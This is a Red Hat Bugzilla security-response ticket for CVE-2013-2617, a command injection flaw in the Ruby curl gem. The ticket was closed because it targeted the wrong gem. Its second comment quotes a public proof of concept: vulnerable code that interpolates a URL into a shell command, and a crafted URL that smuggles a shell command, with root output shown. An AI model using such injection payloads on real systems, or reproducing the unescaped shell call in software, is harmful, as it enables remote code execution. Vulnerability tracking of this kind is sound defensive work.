Bug 924240 (CVE-2013-2617)

Summary:	CVE-2013-2617 rubygem-curl: insufficient URL escaping command injection
Product:	[Other] Security Response	Reporter:	Jan Lieskovsky <jlieskov>
Component:	vulnerability	Assignee:	Red Hat Product Security <security-response-team>
Status:	CLOSED NOTABUG	QA Contact:
Severity:	urgent	Docs Contact:
Priority:	urgent
Version:	unspecified	CC:	cpelland, dajohnso, jeckersb, mmccune, morazi, rcvalle, shreyankg, vondruch
Target Milestone:	---	Keywords:	Security
Target Release:	---
Hardware:	All
OS:	Linux
Whiteboard:
Fixed In Version:		Doc Type:	Bug Fix
Doc Text:		Story Points:	---
Clone Of:		Environment:
Last Closed:	2013-03-21 13:55:12 UTC	Type:	---
Regression:	---	Mount Type:	---
Documentation:	---	CRM:
Verified Versions:		Category:	---
oVirt Team:	---	RHEL 7.3 requirements from Atomic Host:
Cloudforms Team:	---	Target Upstream Version:
Embargoed:
Bug Depends On:	924242
Bug Blocks:	924252

Description Jan Lieskovsky 2013-03-21 12:31:41 UTC

Common Vulnerabilities and Exposures assigned an identifier CVE-2013-2617 to the following vulnerability:

lib/curl.rb in the Curl Gem for Ruby allows remote attackers to execute arbitrary commands via shell metacharacters in a URL.

References:
[1] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-2617
[2] http://seclists.org/fulldisclosure/2013/Mar/124
[3] http://www.openwall.com/lists/oss-security/2013/03/19/9
[4] http://packetstormsecurity.com/files/120778/Ruby-Gem-Curl-Command-Execution.html
[5] http://www.osvdb.org/91230

Comment 1 Jan Lieskovsky 2013-03-21 12:35:34 UTC

Copy of public reproducer (from [4]):
-------------------------------------

Curl Ruby Gem Remote command execution
3/12/2013

https://github.com/tg0/curl

Specially crafted URLs can result in remote code execution:

In ./lib/curl.rb the following lines:

131       cmd = "curl #{cookies_store} #{browser_type} #{@setup_params} {ref}  \"{url}\"  "
132         if @debug
133                 puts cmd.red
134         end
135         result = open_pipe(cmd)

PoC:

page = curl.get("http://vapid.dhs.org/\"\;id\/tmp\/p\;\"")

larry@underfl0w:/tmp$ cat p
uid=0(root) gid=0(root) groups=0(root)

Larry W. Cashdollar
@_larry0
http://vapid.dhs.org

Comment 2 Jan Lieskovsky 2013-03-21 12:36:52 UTC

Created rubygem-curb tracking bugs for this issue

Affects: fedora-all [bug 924242]

Comment 3 Jan Lieskovsky 2013-03-21 12:38:03 UTC

(In reply to comment #2)
> Created rubygem-curb tracking bugs for this issue
> 
> Affects: fedora-all [bug 924242]

I am not sure there's an upstream patch for this issue yet (wasn't able to find one from git log). But once there is, please be sure to schedule Fedora rubygem-curb package updates.

Comment 5 Vít Ondruch 2013-03-21 13:12:48 UTC

curl and curb are two different gems. The bug refers to curl gem while this bug is assosicated to rubygem-curb, which seems to be mistake.

Comment 6 Jan Lieskovsky 2013-03-21 13:38:46 UTC

(In reply to comment #5)
> curl and curb are two different gems. The bug refers to curl gem while this
> bug is assosicated to rubygem-curb, which seems to be mistake.

This is truly correct (those are different ones):
  [1] https://rubygems.org/gems/curl (the Gem flaw was in)
  [2] https://rubygems.org/gems/curb (this bug is targeted against)

Thank you for pointing out, Vit
(closing bug as invalid && apologize for the noise).